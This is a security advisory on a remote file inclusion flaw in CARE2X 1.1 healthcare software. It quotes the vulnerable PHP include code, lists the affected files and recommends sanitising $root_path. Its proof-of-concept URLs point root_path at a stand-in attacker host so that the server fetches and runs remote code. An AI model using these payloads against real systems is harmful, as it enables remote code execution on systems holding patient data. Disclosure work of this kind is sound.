Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : CARE2X version : 1.1 URL : http://www.care2x.org

Care2x integrates data, functions and workflows in a healthcare environment. It is currently composed of four major components. Each of these components can also function individually.


Vulnerability: ~~~~~~~~~~~~~

  • Invalid include_once function at include/inc_checkdate_lang.php -----------------------include/inc_checkdate_lang.php------------

<? if(file_exists($root_path."language/$lang/lang_".$lang."checkdate.php")) include_once($root_path."language/$lang/lang".$lang."checkdate.php"); else include_once($root_path."language/en/lang_en_checkdate.php"); if(file_exists($root_path."language/$lang/lang".$lang."date_time.php")) include_once($root_path."language/$lang/lang".$lang."_date_time.php"); else include_once($root_path."language/en/lang_en_date_time.php"); ?>


Input passed to the "$root_path" parameter in inc_checkdate_lang.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources.

also affected files :

include/inc_charset_fx.php include/inc_config_color.php include/inc_currency_set.php include/inc_db_makelink.php include/inc_diagnostics_report_fx.php include/inc_environment_global.php include/inc_front_chain_lang.php include/inc_init_crypt.php include/inc_load_copyrite.php include/inc_news_save.php main/barcode-labels.php main/chg-color.php main/config_options_gui_template.php main/config_options_mascot.php main/diagnostics-report-index.php

and More ....

Proof Of Concept: ~~~~~~~~~~~~~~

http://localhost/care2x/include/inc_checkdate_lang.php?root_path=http://atacker.com/inject.txt? http://localhost/care2x/include/inc_news_save.php?root_path=http://atacker.com/inject.txt? http://localhost/care2x/main/diagnostics-report-index.php?root_path=http://atacker.com/inject.txt? http://localhost/care2x/main/config_options_mascot.php?root_path=http://atacker.com/inject.txt?

Solution: ~~~~~~

  • Sanitize variable $root_path affected files.
  • Turn off register_globals
